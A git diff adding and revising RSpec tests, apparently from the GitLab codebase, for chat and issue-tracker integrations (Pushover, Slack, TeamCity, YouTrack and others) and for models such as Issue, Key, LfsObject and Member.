+ service.execute(push_data)
+ expect(WebMock).to have_requested(:post, stubbed_hostname(url)).with(
+ body: {
+ 'source_commit' => {
+ 'commit_id' => '21c12ea',
+ 'author' => 'Some User',
+ 'url' => 'https://example.com/commit',
+ 'message' => 'commit message'
+ }
+ },
+ headers: {
+ 'Content-Type' => 'application/json',
+ 'X-TrackerToken' => 'secret_api_token'
+ }
+ ).once
+ end
+
+ context 'when allowed branches is specified' do
+ let(:service) do
+ super().tap do |service|
+ service.restrict_to_branch = 'master,v10'
+ end
+ end
+
+ it 'posts message if branch is in the list' do
+ service.execute(push_data(branch: 'master'))
+ service.execute(push_data(branch: 'v10'))
+
+ expect(WebMock).to have_requested(:post, stubbed_hostname(url)).twice
+ end
+
+ it 'does not post message if branch is not in the list' do
+ service.execute(push_data(branch: 'mas'))
+ service.execute(push_data(branch: 'v11'))
+
+ expect(WebMock).not_to have_requested(:post, stubbed_hostname(url))
+ end
+ end
+ end
+end
diff --git a/spec/models/integrations/pushover_spec.rb b/spec/models/integrations/pushover_spec.rb
new file mode 100644
index 00000000000..be8dc5634a0
--- /dev/null
+++ b/spec/models/integrations/pushover_spec.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::Pushover do
+ include StubRequests
+
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:api_key) }
+ it { is_expected.to validate_presence_of(:user_key) }
+ it { is_expected.to validate_presence_of(:priority) }
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:api_key) }
+ it { is_expected.not_to validate_presence_of(:user_key) }
+ it { is_expected.not_to validate_presence_of(:priority) }
+ end
+ end
+
+ describe 'Execute' do
+ let(:pushover) { described_class.new }
+ let(:user) { create(:user) }
+ let(:project) { create(:project, :repository) }
+ let(:sample_data) do
+ Gitlab::DataBuilder::Push.build_sample(project, user)
+ end
+
+ let(:api_key) { 'verySecret' }
+ let(:user_key) { 'verySecret' }
+ let(:device) { 'myDevice' }
+ let(:priority) { 0 }
+ let(:sound) { 'bike' }
+ let(:api_url) { 'https://api.pushover.net/1/messages.json' }
+
+ before do
+ allow(pushover).to receive_messages(
+ project: project,
+ project_id: project.id,
+ service_hook: true,
+ api_key: api_key,
+ user_key: user_key,
+ device: device,
+ priority: priority,
+ sound: sound
+ )
+
+ stub_full_request(api_url, method: :post, ip_address: '8.8.8.8')
+ end
+
+ it 'calls Pushover API' do
+ pushover.execute(sample_data)
+
+ expect(WebMock).to have_requested(:post, 'https://8.8.8.8/1/messages.json').once
+ end
+ end
+end
diff --git a/spec/models/integrations/redmine_spec.rb b/spec/models/integrations/redmine_spec.rb
new file mode 100644
index 00000000000..083585d4fed
--- /dev/null
+++ b/spec/models/integrations/redmine_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::Redmine do
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ # if redmine is set in setting the urls are set to defaults
+ # therefore the validation passes as the values are not nil
+ before do
+ settings = {
+ 'redmine' => {}
+ }
+ allow(Gitlab.config).to receive(:issues_tracker).and_return(settings)
+ end
+
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:project_url) }
+ it { is_expected.to validate_presence_of(:issues_url) }
+ it { is_expected.to validate_presence_of(:new_issue_url) }
+
+ it_behaves_like 'issue tracker service URL attribute', :project_url
+ it_behaves_like 'issue tracker service URL attribute', :issues_url
+ it_behaves_like 'issue tracker service URL attribute', :new_issue_url
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:project_url) }
+ it { is_expected.not_to validate_presence_of(:issues_url) }
+ it { is_expected.not_to validate_presence_of(:new_issue_url) }
+ end
+ end
+
+ describe '.reference_pattern' do
+ it_behaves_like 'allows project key on reference pattern'
+
+ it 'does allow # on the reference' do
+ expect(described_class.reference_pattern.match('#123')[:issue]).to eq('123')
+ end
+ end
+end
diff --git a/spec/models/integrations/slack_slash_commands_spec.rb b/spec/models/integrations/slack_slash_commands_spec.rb
new file mode 100644
index 00000000000..a9d3c820a3c
--- /dev/null
+++ b/spec/models/integrations/slack_slash_commands_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::SlackSlashCommands do
+ it_behaves_like Integrations::BaseSlashCommands
+
+ describe '#trigger' do
+ context 'when an auth url is generated' do
+ let(:project) { create(:project) }
+ let(:params) do
+ {
+ team_domain: 'http://domain.tld',
+ team_id: 'T3423423',
+ user_id: 'U234234',
+ user_name: 'mepmep',
+ token: 'token'
+ }
+ end
+
+ let(:service) do
+ project.create_slack_slash_commands_service(
+ properties: { token: 'token' },
+ active: true
+ )
+ end
+
+ let(:authorize_url) do
+ 'http://authorize.example.com/'
+ end
+
+ before do
+ allow(service).to receive(:authorize_chat_name_url).and_return(authorize_url)
+ end
+
+ it 'uses slack compatible links' do
+ response = service.trigger(params)
+
+ expect(response[:text]).to include("<#{authorize_url}|connect your GitLab account>")
+ end
+ end
+ end
+
+ describe '#chat_responder' do
+ it 'returns the responder to use for Slack' do
+ expect(described_class.new.chat_responder)
+ .to eq(Gitlab::Chat::Responder::Slack)
+ end
+ end
+end
diff --git a/spec/models/integrations/slack_spec.rb b/spec/models/integrations/slack_spec.rb
new file mode 100644
index 00000000000..e598c528967
--- /dev/null
+++ b/spec/models/integrations/slack_spec.rb
@@ -0,0 +1,133 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::Slack do
+ it_behaves_like Integrations::SlackMattermostNotifier, "Slack"
+
+ describe '#execute' do
+ before do
+ stub_request(:post, "https://slack.service.url/")
+ end
+
+ let_it_be(:slack_service) { create(:slack_service, branches_to_be_notified: 'all') }
+
+ it 'uses only known events', :aggregate_failures do
+ described_class::SUPPORTED_EVENTS_FOR_USAGE_LOG.each do |action|
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter.known_event?("i_ecosystem_slack_service_#{action}_notification")).to be true
+ end
+ end
+
+ context 'hook data includes a user object' do
+ let_it_be(:user) { create_default(:user) }
+ let_it_be(:project) { create_default(:project, :repository, :wiki_repo) }
+
+ shared_examples 'increases the usage data counter' do |event_name|
+ it 'increases the usage data counter' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event).with(event_name, values: user.id).and_call_original
+
+ slack_service.execute(data)
+ end
+ end
+
+ context 'event is not supported for usage log' do
+ let_it_be(:pipeline) { create(:ci_pipeline) }
+
+ let(:data) { Gitlab::DataBuilder::Pipeline.build(pipeline) }
+
+ it 'does not increase the usage data counter' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event).with('i_ecosystem_slack_service_pipeline_notification', values: user.id)
+
+ slack_service.execute(data)
+ end
+ end
+
+ context 'issue notification' do
+ let_it_be(:issue) { create(:issue) }
+
+ let(:data) { issue.to_hook_data(user) }
+
+ it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_issue_notification'
+ end
+
+ context 'push notification' do
+ let(:data) { Gitlab::DataBuilder::Push.build_sample(project, user) }
+
+ it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_push_notification'
+ end
+
+ context 'deployment notification' do
+ let_it_be(:deployment) { create(:deployment, user: user) }
+
+ let(:data) { Gitlab::DataBuilder::Deployment.build(deployment, Time.current) }
+
+ it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_deployment_notification'
+ end
+
+ context 'wiki_page notification' do
+ let(:wiki_page) { create(:wiki_page, wiki: project.wiki, message: 'user created page: Awesome wiki_page') }
+
+ let(:data) { Gitlab::DataBuilder::WikiPage.build(wiki_page, user, 'create') }
+
+ before do
+ # Skip this method that is not relevant to this test to prevent having
+ # to update project which is frozen
+ allow(project.wiki).to receive(:after_wiki_activity)
+ end
+
+ it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_wiki_page_notification'
+ end
+
+ context 'merge_request notification' do
+ let_it_be(:merge_request) { create(:merge_request) }
+
+ let(:data) { merge_request.to_hook_data(user) }
+
+ it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_merge_request_notification'
+ end
+
+ context 'note notification' do
+ let_it_be(:issue_note) { create(:note_on_issue, note: 'issue note') }
+
+ let(:data) { Gitlab::DataBuilder::Note.build(issue_note, user) }
+
+ it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_note_notification'
+ end
+
+ context 'tag_push notification' do
+ let(:oldrev) { Gitlab::Git::BLANK_SHA }
+ let(:newrev) { '8a2a6eb295bb170b34c24c76c49ed0e9b2eaf34b' } # gitlab-test: git rev-parse refs/tags/v1.1.0
+ let(:ref) { 'refs/tags/v1.1.0' }
+ let(:data) { Git::TagHooksService.new(project, user, change: { oldrev: oldrev, newrev: newrev, ref: ref }).send(:push_data) }
+
+ it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_tag_push_notification'
+ end
+
+ context 'confidential note notification' do
+ let_it_be(:confidential_issue_note) { create(:note_on_issue, note: 'issue note', confidential: true) }
+
+ let(:data) { Gitlab::DataBuilder::Note.build(confidential_issue_note, user) }
+
+ it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_confidential_note_notification'
+ end
+
+ context 'confidential issue notification' do
+ let_it_be(:issue) { create(:issue, confidential: true) }
+
+ let(:data) { issue.to_hook_data(user) }
+
+ it_behaves_like 'increases the usage data counter', 'i_ecosystem_slack_service_confidential_issue_notification'
+ end
+ end
+
+ context 'hook data does not include a user' do
+ let(:data) { Gitlab::DataBuilder::Pipeline.build(create(:ci_pipeline)) }
+
+ it 'does not increase the usage data counter' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event)
+
+ slack_service.execute(data)
+ end
+ end
+ end
+end
diff --git a/spec/models/integrations/teamcity_spec.rb b/spec/models/integrations/teamcity_spec.rb
new file mode 100644
index 00000000000..b88a4722ad4
--- /dev/null
+++ b/spec/models/integrations/teamcity_spec.rb
@@ -0,0 +1,334 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::Teamcity, :use_clean_rails_memory_store_caching do
+ include ReactiveCachingHelpers
+ include StubRequests
+
+ let(:teamcity_url) { 'http://gitlab.com/teamcity' }
+ let(:teamcity_full_url) { 'http://gitlab.com/teamcity/httpAuth/app/rest/builds/branch:unspecified:any,revision:123' }
+ let(:project) { create(:project) }
+
+ subject(:service) do
+ described_class.create!(
+ project: project,
+ properties: {
+ teamcity_url: teamcity_url,
+ username: 'mic',
+ password: 'password',
+ build_type: 'foo'
+ }
+ )
+ end
+
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:build_type) }
+ it { is_expected.to validate_presence_of(:teamcity_url) }
+ it_behaves_like 'issue tracker service URL attribute', :teamcity_url
+
+ describe '#username' do
+ it 'does not validate the presence of username if password is nil' do
+ subject.password = nil
+
+ expect(subject).not_to validate_presence_of(:username)
+ end
+
+ it 'validates the presence of username if password is present' do
+ subject.password = 'secret'
+
+ expect(subject).to validate_presence_of(:username)
+ end
+ end
+
+ describe '#password' do
+ it 'does not validate the presence of password if username is nil' do
+ subject.username = nil
+
+ expect(subject).not_to validate_presence_of(:password)
+ end
+
+ it 'validates the presence of password if username is present' do
+ subject.username = 'john'
+
+ expect(subject).to validate_presence_of(:password)
+ end
+ end
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:build_type) }
+ it { is_expected.not_to validate_presence_of(:teamcity_url) }
+ it { is_expected.not_to validate_presence_of(:username) }
+ it { is_expected.not_to validate_presence_of(:password) }
+ end
+ end
+
+ describe 'Callbacks' do
+ describe 'before_update :reset_password' do
+ context 'when a password was previously set' do
+ it 'resets password if url changed' do
+ teamcity_service = service
+
+ teamcity_service.teamcity_url = 'http://gitlab1.com'
+ teamcity_service.save!
+
+ expect(teamcity_service.password).to be_nil
+ end
+
+ it 'does not reset password if username changed' do
+ teamcity_service = service
+
+ teamcity_service.username = 'some_name'
+ teamcity_service.save!
+
+ expect(teamcity_service.password).to eq('password')
+ end
+
+ it "does not reset password if new url is set together with password, even if it's the same password" do
+ teamcity_service = service
+
+ teamcity_service.teamcity_url = 'http://gitlab_edited.com'
+ teamcity_service.password = 'password'
+ teamcity_service.save!
+
+ expect(teamcity_service.password).to eq('password')
+ expect(teamcity_service.teamcity_url).to eq('http://gitlab_edited.com')
+ end
+ end
+
+ it 'saves password if new url is set together with password when no password was previously set' do
+ teamcity_service = service
+ teamcity_service.password = nil
+
+ teamcity_service.teamcity_url = 'http://gitlab_edited.com'
+ teamcity_service.password = 'password'
+ teamcity_service.save!
+
+ expect(teamcity_service.password).to eq('password')
+ expect(teamcity_service.teamcity_url).to eq('http://gitlab_edited.com')
+ end
+ end
+ end
+
+ describe '#build_page' do
+ it 'returns the contents of the reactive cache' do
+ stub_reactive_cache(service, { build_page: 'foo' }, 'sha', 'ref')
+
+ expect(service.build_page('sha', 'ref')).to eq('foo')
+ end
+ end
+
+ describe '#commit_status' do
+ it 'returns the contents of the reactive cache' do
+ stub_reactive_cache(service, { commit_status: 'foo' }, 'sha', 'ref')
+
+ expect(service.commit_status('sha', 'ref')).to eq('foo')
+ end
+ end
+
+ describe '#calculate_reactive_cache' do
+ context 'build_page' do
+ subject { service.calculate_reactive_cache('123', 'unused')[:build_page] }
+
+ it 'returns a specific URL when status is 500' do
+ stub_request(status: 500)
+
+ is_expected.to eq('http://gitlab.com/teamcity/viewLog.html?buildTypeId=foo')
+ end
+
+ it 'returns a build URL when teamcity_url has no trailing slash' do
+ stub_request(body: %q({"build":{"id":"666"}}))
+
+ is_expected.to eq('http://gitlab.com/teamcity/viewLog.html?buildId=666&buildTypeId=foo')
+ end
+
+ context 'teamcity_url has trailing slash' do
+ let(:teamcity_url) { 'http://gitlab.com/teamcity/' }
+
+ it 'returns a build URL' do
+ stub_request(body: %q({"build":{"id":"666"}}))
+
+ is_expected.to eq('http://gitlab.com/teamcity/viewLog.html?buildId=666&buildTypeId=foo')
+ end
+ end
+
+ it 'returns the teamcity_url when teamcity is unreachable' do
+ stub_full_request(teamcity_full_url).to_raise(Errno::ECONNREFUSED)
+
+ expect(Gitlab::ErrorTracking)
+ .to receive(:log_exception)
+ .with(instance_of(Errno::ECONNREFUSED), project_id: project.id)
+
+ is_expected.to eq(teamcity_url)
+ end
+ end
+
+ context 'commit_status' do
+ subject { service.calculate_reactive_cache('123', 'unused')[:commit_status] }
+
+ it 'sets commit status to :error when status is 500' do
+ stub_request(status: 500)
+
+ is_expected.to eq(:error)
+ end
+
+ it 'sets commit status to "pending" when status is 404' do
+ stub_request(status: 404)
+
+ is_expected.to eq('pending')
+ end
+
+ it 'sets commit status to "success" when build status contains SUCCESS' do
+ stub_request(build_status: 'YAY SUCCESS!')
+
+ is_expected.to eq('success')
+ end
+
+ it 'sets commit status to "failed" when build status contains FAILURE' do
+ stub_request(build_status: 'NO FAILURE!')
+
+ is_expected.to eq('failed')
+ end
+
+ it 'sets commit status to "pending" when build status contains Pending' do
+ stub_request(build_status: 'NO Pending!')
+
+ is_expected.to eq('pending')
+ end
+
+ it 'sets commit status to :error when build status is unknown' do
+ stub_request(build_status: 'FOO BAR!')
+
+ is_expected.to eq(:error)
+ end
+
+ it 'sets commit status to :error when teamcity is unreachable' do
+ stub_full_request(teamcity_full_url).to_raise(Errno::ECONNREFUSED)
+
+ expect(Gitlab::ErrorTracking)
+ .to receive(:log_exception)
+ .with(instance_of(Errno::ECONNREFUSED), project_id: project.id)
+
+ is_expected.to eq(:error)
+ end
+ end
+ end
+
+ describe '#execute' do
+ context 'when push' do
+ let(:data) do
+ {
+ object_kind: 'push',
+ ref: 'refs/heads/dev-123_branch',
+ after: '0220c11b9a3e6c69dc8fd35321254ca9a7b98f7e',
+ total_commits_count: 1
+ }
+ end
+
+ it 'handles push request correctly' do
+ stub_post_to_build_queue(branch: 'dev-123_branch')
+
+ expect(service.execute(data)).to include('Ok')
+ end
+
+ it 'returns nil when ref is blank' do
+ data[:after] = Gitlab::Git::BLANK_SHA
+
+ expect(service.execute(data)).to be_nil
+ end
+
+ it 'returns nil when there is no content' do
+ data[:total_commits_count] = 0
+
+ expect(service.execute(data)).to be_nil
+ end
+
+ it 'returns nil when a merge request is opened for the same ref' do
+ create(:merge_request, source_project: project, source_branch: 'dev-123_branch')
+
+ expect(service.execute(data)).to be_nil
+ end
+ end
+
+ context 'when merge_request' do
+ let(:data) do
+ {
+ object_kind: 'merge_request',
+ ref: 'refs/heads/dev-123_branch',
+ after: '0220c11b9a3e6c69dc8fd35321254ca9a7b98f7e',
+ total_commits_count: 1,
+ object_attributes: {
+ state: 'opened',
+ source_branch: 'dev-123_branch',
+ merge_status: 'unchecked'
+ }
+ }
+ end
+
+ it 'handles merge request correctly' do
+ stub_post_to_build_queue(branch: 'dev-123_branch')
+
+ expect(service.execute(data)).to include('Ok')
+ end
+
+ it 'returns nil when merge request is not opened' do
+ data[:object_attributes][:state] = 'closed'
+
+ expect(service.execute(data)).to be_nil
+ end
+
+ it 'returns nil unless merge request is marked as unchecked' do
+ data[:object_attributes][:merge_status] = 'can_be_merged'
+
+ expect(service.execute(data)).to be_nil
+ end
+ end
+
+ it 'returns nil when event is not supported' do
+ data = { object_kind: 'foo' }
+
+ expect(service.execute(data)).to be_nil
+ end
+ end
+
+ def stub_post_to_build_queue(branch:)
+ teamcity_full_url = 'http://gitlab.com/teamcity/httpAuth/app/rest/buildQueue'
+ body ||= %Q(<build branchName=\"#{branch}\"><buildType id=\"foo\"/></build>)
+ auth = %w(mic password)
+
+ stub_full_request(teamcity_full_url, method: :post).with(
+ basic_auth: auth,
+ body: body,
+ headers: {
+ 'Content-Type' => 'application/xml'
+ }
+ ).to_return(status: 200, body: 'Ok', headers: {})
+ end
+
+ def stub_request(status: 200, body: nil, build_status: 'success')
+ auth = %w(mic password)
+
+ body ||= %Q({"build":{"status":"#{build_status}","id":"666"}})
+
+ stub_full_request(teamcity_full_url).with(basic_auth: auth).to_return(
+ status: status,
+ headers: { 'Content-Type' => 'application/json' },
+ body: body
+ )
+ end
+end
diff --git a/spec/models/integrations/unify_circuit_spec.rb b/spec/models/integrations/unify_circuit_spec.rb
new file mode 100644
index 00000000000..7a91b2d3c11
--- /dev/null
+++ b/spec/models/integrations/unify_circuit_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe Integrations::UnifyCircuit do
+ it_behaves_like "chat integration", "Unify Circuit" do
+ let(:client_arguments) { webhook_url }
+ let(:payload) do
+ {
+ subject: project.full_name,
+ text: be_present,
+ markdown: true
+ }
+ end
+ end
+end
diff --git a/spec/models/integrations/webex_teams_spec.rb b/spec/models/integrations/webex_teams_spec.rb
new file mode 100644
index 00000000000..b5cba6762aa
--- /dev/null
+++ b/spec/models/integrations/webex_teams_spec.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe Integrations::WebexTeams do
+ it_behaves_like "chat integration", "Webex Teams" do
+ let(:client_arguments) { webhook_url }
+ let(:payload) do
+ {
+ markdown: be_present
+ }
+ end
+ end
+end
diff --git a/spec/models/integrations/youtrack_spec.rb b/spec/models/integrations/youtrack_spec.rb
new file mode 100644
index 00000000000..314204f6fb4
--- /dev/null
+++ b/spec/models/integrations/youtrack_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Integrations::Youtrack do
+ describe 'Associations' do
+ it { is_expected.to belong_to :project }
+ it { is_expected.to have_one :service_hook }
+ end
+
+ describe 'Validations' do
+ context 'when service is active' do
+ before do
+ subject.active = true
+ end
+
+ it { is_expected.to validate_presence_of(:project_url) }
+ it { is_expected.to validate_presence_of(:issues_url) }
+
+ it_behaves_like 'issue tracker service URL attribute', :project_url
+ it_behaves_like 'issue tracker service URL attribute', :issues_url
+ end
+
+ context 'when service is inactive' do
+ before do
+ subject.active = false
+ end
+
+ it { is_expected.not_to validate_presence_of(:project_url) }
+ it { is_expected.not_to validate_presence_of(:issues_url) }
+ end
+ end
+
+ describe '.reference_pattern' do
+ it_behaves_like 'allows project key on reference pattern'
+
+ it 'does allow project prefix on the reference' do
+ expect(described_class.reference_pattern.match('YT-123')[:issue]).to eq('YT-123')
+ end
+
+ it 'allows lowercase project key on the reference' do
+ expect(described_class.reference_pattern.match('yt-123')[:issue]).to eq('yt-123')
+ end
+ end
+end
diff --git a/spec/models/issue_spec.rb b/spec/models/issue_spec.rb
index 884c476932e..edb93ecf4b6 100644
--- a/spec/models/issue_spec.rb
+++ b/spec/models/issue_spec.rb
@@ -5,6 +5,8 @@ require 'spec_helper'
RSpec.describe Issue do
include ExternalAuthorizationServiceHelpers
+ using RSpec::Parameterized::TableSyntax
+
let_it_be(:user) { create(:user) }
let_it_be(:reusable_project) { create(:project) }
@@ -1287,15 +1289,33 @@ RSpec.describe Issue do
end
end
- let(:project) { build_stubbed(:project_empty_repo) }
- let(:issue) { build_stubbed(:issue, relative_position: 100, project: project) }
+ shared_examples 'schedules issues rebalancing' do
+ let(:issue) { build_stubbed(:issue, relative_position: 100, project: project) }
+
+ it 'schedules rebalancing if we time-out when moving' do
+ lhs = build_stubbed(:issue, relative_position: 99, project: project)
+ to_move = build(:issue, project: project)
+ expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, project_id, namespace_id)
+
+ expect { to_move.move_between(lhs, issue) }.to raise_error(ActiveRecord::QueryCanceled)
+ end
+ end
+
+ context 'when project in user namespace' do
+ let(:project) { build_stubbed(:project_empty_repo) }
+ let(:project_id) { project.id }
+ let(:namespace_id) { nil }
+
+ it_behaves_like 'schedules issues rebalancing'
+ end
- it 'schedules rebalancing if we time-out when moving' do
- lhs = build_stubbed(:issue, relative_position: 99, project: project)
- to_move = build(:issue, project: project)
- expect(IssueRebalancingWorker).to receive(:perform_async).with(nil, project.id)
+ context 'when project in a group namespace' do
+ let(:group) { create(:group) }
+ let(:project) { build_stubbed(:project_empty_repo, group: group) }
+ let(:project_id) { nil }
+ let(:namespace_id) { group.id }
- expect { to_move.move_between(lhs, issue) }.to raise_error(ActiveRecord::QueryCanceled)
+ it_behaves_like 'schedules issues rebalancing'
end
end
@@ -1315,6 +1335,26 @@ RSpec.describe Issue do
end
end
+ describe '#supports_time_tracking?' do
+ let_it_be(:project) { create(:project) }
+ let_it_be_with_refind(:issue) { create(:incident, project: project) }
+
+ where(:issue_type, :supports_time_tracking) do
+ :issue | true
+ :incident | true
+ end
+
+ with_them do
+ before do
+ issue.update!(issue_type: issue_type)
+ end
+
+ it do
+ expect(issue.supports_time_tracking?).to eq(supports_time_tracking)
+ end
+ end
+ end
+
describe '#email_participants_emails' do
let_it_be(:issue) { create(:issue) }
diff --git a/spec/models/key_spec.rb b/spec/models/key_spec.rb
index 0cb20efcb0a..7468c1b9f0a 100644
--- a/spec/models/key_spec.rb
+++ b/spec/models/key_spec.rb
@@ -85,9 +85,9 @@ RSpec.describe Key, :mailer do
let_it_be(:expiring_soon_notified) { create(:key, expires_at: 4.days.from_now, user: user, before_expiry_notification_delivered_at: Time.current) }
let_it_be(:future_expiry) { create(:key, expires_at: 1.month.from_now, user: user) }
- describe '.expired_today_and_not_notified' do
- it 'returns keys that expire today' do
- expect(described_class.expired_today_and_not_notified).to contain_exactly(expired_today_not_notified)
+ describe '.expired_and_not_notified' do
+ it 'returns keys that expire today and in the past' do
+ expect(described_class.expired_and_not_notified).to contain_exactly(expired_today_not_notified, expired_yesterday)
end
end
@@ -139,7 +139,7 @@ RSpec.describe Key, :mailer do
end
with_them do
- let!(:key) { create(factory) }
+ let!(:key) { create(factory) } # rubocop:disable Rails/SaveBang
let!(:original_fingerprint) { key.fingerprint }
let!(:original_fingerprint_sha256) { key.fingerprint_sha256 }
@@ -224,7 +224,7 @@ RSpec.describe Key, :mailer do
expect(AuthorizedKeysWorker).to receive(:perform_async).with(:remove_key, key.shell_id)
- key.destroy
+ key.destroy!
end
end
@@ -244,7 +244,7 @@ RSpec.describe Key, :mailer do
expect(AuthorizedKeysWorker).not_to receive(:perform_async)
- key.destroy
+ key.destroy!
end
end
end
diff --git a/spec/models/label_link_spec.rb b/spec/models/label_link_spec.rb
index e5753b34e72..c6bec215145 100644
--- a/spec/models/label_link_spec.rb
+++ b/spec/models/label_link_spec.rb
@@ -13,27 +13,14 @@ RSpec.describe LabelLink do
let(:invalid_items_for_bulk_insertion) { [] } # class does not have any validations defined
end
- describe 'scopes' do
- describe '.for_target' do
- it 'returns the label links for a given target' do
- label_link = create(:label_link, target: create(:merge_request))
+ describe '.for_target' do
+ it 'returns the label links for a given target' do
+ label_link = create(:label_link, target: create(:merge_request))
- create(:label_link, target: create(:issue))
+ create(:label_link, target: create(:issue))
- expect(described_class.for_target(label_link.target_id, label_link.target_type))
- .to contain_exactly(label_link)
- end
- end
-
- describe '.with_remove_on_close_labels' do
- it 'responds with label_links that can be removed when an issue is closed' do
- issue = create(:issue)
- removable_label = create(:label, project: issue.project, remove_on_close: true)
- create(:label_link, target: issue)
- removable_issue_label_link = create(:label_link, label: removable_label, target: issue)
-
- expect(described_class.with_remove_on_close_labels).to contain_exactly(removable_issue_label_link)
- end
+ expect(described_class.for_target(label_link.target_id, label_link.target_type))
+ .to contain_exactly(label_link)
end
end
end
diff --git a/spec/models/lfs_object_spec.rb b/spec/models/lfs_object_spec.rb
index a0f633218b0..5210709a468 100644
--- a/spec/models/lfs_object_spec.rb
+++ b/spec/models/lfs_object_spec.rb
@@ -178,4 +178,34 @@ RSpec.describe LfsObject do
expect(described_class.calculate_oid(path)).to eq expected
end
end
+
+ context 'when an lfs object is associated with a project' do
+ let!(:lfs_object) { create(:lfs_object) }
+ let!(:lfs_object_project) { create(:lfs_objects_project, lfs_object: lfs_object) }
+
+ it 'cannot be deleted' do
+ expect { lfs_object.destroy! }.to raise_error(ActiveRecord::InvalidForeignKey)
+
+ lfs_object_project.destroy!
+
+ expect { lfs_object.destroy! }.not_to raise_error
+ end
+ end
+
+ describe '.unreferenced_in_batches' do
+ let!(:unreferenced_lfs_object1) { create(:lfs_object, oid: '1') }
+ let!(:referenced_lfs_object) { create(:lfs_objects_project).lfs_object }
+ let!(:unreferenced_lfs_object2) { create(:lfs_object, oid: '2') }
+
+ it 'returns lfs objects in batches' do
+ stub_const('LfsObject::BATCH_SIZE', 1)
+
+ batches = []
+ described_class.unreferenced_in_batches { |batch| batches << batch }
+
+ expect(batches.size).to eq(2)
+ expect(batches.first).to eq([unreferenced_lfs_object2])
+ expect(batches.last).to eq([unreferenced_lfs_object1])
+ end
+ end
end
diff --git a/spec/models/lfs_objects_project_spec.rb b/spec/models/lfs_objects_project_spec.rb
index 71009a6f28f..df49b60c4fa 100644
--- a/spec/models/lfs_objects_project_spec.rb
+++ b/spec/models/lfs_objects_project_spec.rb
@@ -39,7 +39,7 @@ RSpec.describe LfsObjectsProject do
expect(ProjectCacheWorker).to receive(:perform_async)
.with(project.id, [], [:lfs_objects_size])
- subject.destroy
+ subject.destroy!
end
end
end
diff --git a/spec/models/member_spec.rb b/spec/models/member_spec.rb
index 247be7654d8..372fc40afcc 100644
--- a/spec/models/member_spec.rb
+++ b/spec/models/member_spec.rb
@@ -408,6 +408,20 @@ RSpec.describe Member do
it { is_expected.not_to include @member_with_minimal_access }
end
+ describe '.without_invites_and_requests' do
+ subject { described_class.without_invites_and_requests.to_a }
+
+ it { is_expected.to include @owner }
+ it { is_expected.to include @maintainer }
+ it { is_expected.not_to include @invited_member }
+ it { is_expected.to include @accepted_invite_member }
+ it { is_expected.not_to include @requested_member }
+ it { is_expected.to include @accepted_request_member }
+ it { is_expected.to include @blocked_maintainer }
+ it { is_expected.to include @blocked_developer }
+ it { is_expected.not_to include @member_with_minimal_access }
+ end
+
describe '.connected_to_user' do
subject { described_class.connected_to_user.to_a }
@@ -594,6 +608,18 @@ RSpec.describe Member do
end
end
+ context 'when called with a known user secondary email' do
+ let(:secondary_email) { create(:email, email: 'secondary@example.com', user: user) }
+
+ it 'adds the user as a member' do
+ expect(source.users).not_to include(user)
+
+ described_class.add_user(source, secondary_email.email, :maintainer)
+
+ expect(source.users.reload).to include(user)
+ end
+ end
+
context 'when called with an unknown user email' do
it 'creates an invited member' do
expect(source.users).not_to include(user)
@@ -778,10 +804,27 @@ RSpec.describe Member do
let(:invited_member) { create(:project_member, invite_email: "user@example.com", user: nil) }
let(:requester) { create(:project_member, requested_at: Time.current.utc) }
- it { expect(invited_member).to be_invite }
+ it { expect(invited_member).to be_pending }
it { expect(requester).to be_pending }
end
+ describe '#hook_prerequisites_met?' do
+ let(:member) { create(:project_member) }
+
+ context 'when the member does not have an associated user' do
+ it 'returns false' do
+ member.update_column(:user_id, nil)
+ expect(member.reload.hook_prerequisites_met?).to eq(false)
+ end
+ end
+
+ context 'when the member has an associated user' do
+ it 'returns true' do
+ expect(member.hook_prerequisites_met?).to eq(true)
+ end
+ end
+ end
+
describe "#accept_invite!" do
let!(:member) { create(:project_member, invite_email: "user@example.com", user: nil) }
